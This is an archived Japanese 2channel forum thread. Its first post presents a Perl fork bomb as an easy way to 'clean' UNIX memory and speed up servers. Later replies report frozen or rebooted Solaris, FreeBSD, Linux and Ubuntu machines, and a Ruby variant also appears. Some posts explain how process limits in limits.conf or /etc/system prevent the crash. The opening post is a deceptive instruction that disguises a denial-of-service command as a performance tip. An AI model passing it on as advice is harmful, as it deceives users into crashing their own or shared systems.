5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

簡単!メモリクリーニング

1 :名無しさん@お腹いっぱい。:03/06/19 01:31
UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。

586 : ◆ogaWFi0wUo :04/11/12 11:58:47
>>571
どんなかんじ?

587 :名無しさん@お腹いっぱい。:04/11/12 21:27:40
いい感じ。

588 : ◆ogaWFi0wUo :04/11/13 07:41:50
>>587
いい感じにまだ最適化中ですか?

589 :名無しさん@お腹いっぱい。:04/11/23 04:28:19
このスレワロタ

昔ネズミ講式にforkさせてしまって
悲しいビープ音と共に、あっと今にソラリスを止めてしまったことが・・

590 :名無しさん@お腹いっぱい。:04/11/28 16:05:24
Solarisでやるとユーザーでもrootでも完全に固まるね。
Solarisはこういうのには弱いのか?

591 :名無しさん@お腹いっぱい。:2005/05/07(土) 17:56:55
保守

592 :名無しさん@お腹いっぱい。:2005/05/08(日) 01:59:36
ここって釣りスレ?
rm -rf /
のような?

593 :名無しさん@お腹いっぱい。:2005/05/08(日) 17:22:56
> 学生Aが「端末のしぼうするぷろぐらむ」 を友人からもらい実行した.
> これは,サーバに負荷をかけて使用不能にするもので,同じサーバを利用していた
> ユーザ数十人が影響をうけた.

ttp://www.ecc.u-tokyo.ac.jp/guide/guidance/
ttp://www.ecc.u-tokyo.ac.jp/guide/guidance/perl.html

594 :名無しさん@お腹いっぱい。:2005/05/08(日) 21:10:46

だれか削除依頼お願いします。

595 :名無しさん@お腹いっぱい。:2005/05/08(日) 21:32:40
情報の信頼性について実践的な研究をするスレですので削除してはいけません。

596 :名無しさん@お腹いっぱい。:2005/05/08(日) 22:13:15
じゃあ、埋めるか。

597 :名無しさん@お腹いっぱい。:2005/05/08(日) 22:48:43
問題の本質がわかっていないようだけど、solaris でも Linux でも
*BSD でも OS の設定で回避できる。
多人数で使う任意のプログラムが走るサーバで対策していない管理者はノータリン。
商用のレンタルサーバだと >>1 のようなプログラムに対して割と高い確立で対策してある。

598 :名無しさん@お腹いっぱい。:2005/05/08(日) 23:27:56
>>597
具体的にどんな?

599 :名無しさん@お腹いっぱい。:2005/05/09(月) 00:17:10
>>598
linux だとここの設定を変えてユーザが起動できるプロセス数を制限する。
/etc/security/limits.conf
solarisや*BSDでも同様の設定がある。OpenBSDだとデフォルトで小さい
値で制限されている。

あと perl で fork 自体できなくするのはレンタルサーバだとよくある。

600 :名無しさん@お腹いっぱい。:2005/05/09(月) 00:27:22
>>599
thx。ちなみにどうやってperlでfork()出来なくするの?

601 :名無しさん@お腹いっぱい。:2005/05/09(月) 00:37:24
>>600
たぶんソールレベルで改造していると思われ。

602 :名無しさん@お腹いっぱい。:2005/05/09(月) 00:42:02
問題は何故>>597が突然一人でマジレスをし始めたのか、だ。

603 :名無しさん@お腹いっぱい。:2005/05/09(月) 04:30:41
別にいいんじゃね?

604 :名無しさん@お腹いっぱい。:2005/05/19(木) 14:00:04
クリーニングコマンドを実行した所、フリーズしてしまいました。
会社のサーバーであったのでシステムがダウンする事となり、
また待っていてもシャットダウン出来ないので電源を切る事と
なった結果、大切な知的財産のソースが一部破損しました。
この損失額は5億円規模となる見通しとなり、このスレ及び
運用者に対して損害賠償を請求する事となり先ほど申し立て
をしてまいりました。

605 : ◆kohqbrFjNA :2005/06/02(木) 22:14:15
a

606 : ◆rJcIzr5UOE :2005/06/02(木) 22:16:00
g

607 :名無しさん@お腹いっぱい。:2005/06/25(土) 11:49:18
e

608 :名無しさん@お腹いっぱい。:2005/06/25(土) 14:25:20
p4 2.8GHz メモリ1G FreeBSD 5.4
最大プロセス数無制限のユーザーで>>1を実行
開始約5秒で勝手に再起動しますた。

609 :名無しさん@お腹いっぱい。:2005/07/10(日) 14:33:39
colinux debian sid
プロセス無制限の一般ユーザで実行。
1回目の実行は、5分くらいで無事終了。
ところが、2回目の実行は30分経っても、終了せず。

610 :名無しさん@お腹いっぱい。:2005/07/17(日) 01:00:47
              ,,,,,,,,,,,,,,,,,,,,
             /": : : : : : : : \
           /-─-,,,_: : : : : : : : :\
          /     '''-,,,: : : : : : : :i
          /、      /: : : : : : : : i     ________
         r-、 ,,,,,,,,,,、 /: : : : : : : : : :i    /
         L_, ,   、 \: : : : : : : : :i   / 
         /●) (●>   |: :__,=-、: / <   軽くヤバイ
        l イ  '-     |:/ tbノノ    \  
        l ,`-=-'\     `l ι';/      \  
        ヽトェ-ェェ-:)     -r'          ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
         ヾ=-'     / /  
     ____ヽ::::...   / ::::|
  / ̄ ::::::::::::::l `──''''   :::|


611 :名無しさん@お腹いっぱい。:2005/07/24(日) 12:47:05
各種Unixで、このコマンドを無効化する方法をおしえろや。


612 :☆これでも東横線の女性専用車両を容認するのか☆:2005/11/12(土) 16:15:49
★これでも東横線の女性専用車両を容認するのか★
http://hobby7.2ch.net/test/read.cgi/rail/1131076308/

613 :名無しさん@お腹いっぱい。:2005/11/15(火) 19:52:46
Celeron2.4G, Mem1G, CentOS 4.1, 最大プロセス数無制限, ノータリン

>>30 まで読んで sync を 10 回し一般ユーザで >>1 を実行
システムモニタのメモリゲージが詰まった洋式便所の水位の如くぎゅいいいいんと上がって応答しなくなりました。
sysrq 使ってリブートし /tmp がやられたのを確認しますた。

つい真似したり、インスコしたりしてしまう、悪い癖。。

614 :名無しさん@お腹いっぱい。:2005/11/19(土) 01:34:51
駄目なOSかどうかの判別法?

615 :名無しさん@お腹いっぱい。:2005/11/19(土) 02:02:07
>>614 YES

616 :名無しさん@お腹いっぱい。:2005/11/19(土) 02:06:38
solarisもデフォルトのままだとダメだね。


617 :名無しさん@お腹いっぱい。:2005/12/07(水) 20:01:17
ちょっと待った!ちょ、ちょっと待った!
OpenBSDは駄目OS確定ですか?

618 :名無しさん@お腹いっぱい。:2005/12/27(火) 10:11:01
>>617
負荷かけてない状態で既に重いじゃん

619 :名無しさん@お腹いっぱい。:2006/02/26(日) 17:01:53
>>1のやつってやっぱりLinuxでやると死んじゃうんだけどなんで?

620 :名無しさん@お腹いっぱい。:2006/07/01(土) 01:51:59
Windows2000とcygwinでやってみた(特権ユーザで)
落ちはしなかったものの、
いろいろやってperlを殺した後の動作がおかしい
カーネルが一部侵食されたか?w

621 :名無しさん@お腹いっぱい。:2006/07/23(日) 02:47:40 ?#
# perl -e 'while(1){ fork() && exit }

622 :名無しさん@お腹いっぱい。:2006/08/01(火) 18:19:51
OpenBSD 3.9でrootでやった
別に落ちたりとかしないけど一旦logoutしたら二度とlogin出来なかった

623 :名無しさん@お腹いっぱい。:2006/08/05(土) 14:53:50
その後は?!

つーかそれ落ちたって言わないの?

624 :名無しさん@お腹いっぱい。:2006/08/22(火) 18:39:45
記念アゲ

625 : ◆f8EDXL3E5k :2006/08/22(火) 19:27:20
今度店頭にあるマックでやってみようかな


626 :名無しさん@お腹いっぱい。:2006/08/23(水) 16:58:31
debian志望しました

627 :名無しさん@お腹いっぱい。:2006/08/24(木) 12:48:45
スペック書いてお〜

628 :名無しさん@お腹いっぱい。:2006/08/24(木) 14:19:18
リソースは有限、プロセスは無限ではどんなにスペックが高くても駄目だろうに。
フロセスの制限の設定をリソースに合わせるべし。
結局はこれだけの話でしかない。

629 :名無しさん@お腹いっぱい。:2006/08/31(木) 21:34:10
Solaris10死亡しますた
1050Mhz*2 メモリー4Gで二秒くらいでJDS固まった。stop+A久々に使ったぉ

630 :名無しさん@お腹いっぱい。:2006/10/01(日) 03:27:35
ruby だとこんな感じ?

(1..10).each{ fork }


631 :名無しさん@お腹いっぱい。:2006/10/20(金) 16:56:30
age

632 :名無しさん@お腹いっぱい。:2006/11/11(土) 18:00:17
>>628
どうやってプロセス制限するの?


633 :名無しさん@お腹いっぱい。:2006/11/11(土) 18:17:03
/etc/system


634 :名無しさん@お腹いっぱい。:2006/11/12(日) 01:39:56
ubuntu was die!!
いろんなの開いてた。
わからないけど"fork"が死ぬ程怪しい響を持ってた。
案の定画面が完全に固まって何も受け付けなくなった。
びっくりした。

635 :名無しさん@お腹いっぱい。:2006/12/10(日) 21:28:06
Debian sarge(Kernel:2.4.27-3-686)
CPU:celeron 400MHz
メモリ:256MHz
動かなくなりました。
Debianってプロセス数に制限がかかってないのな。
さっそくリミットかけました。


129 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.02 2018/11/22 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)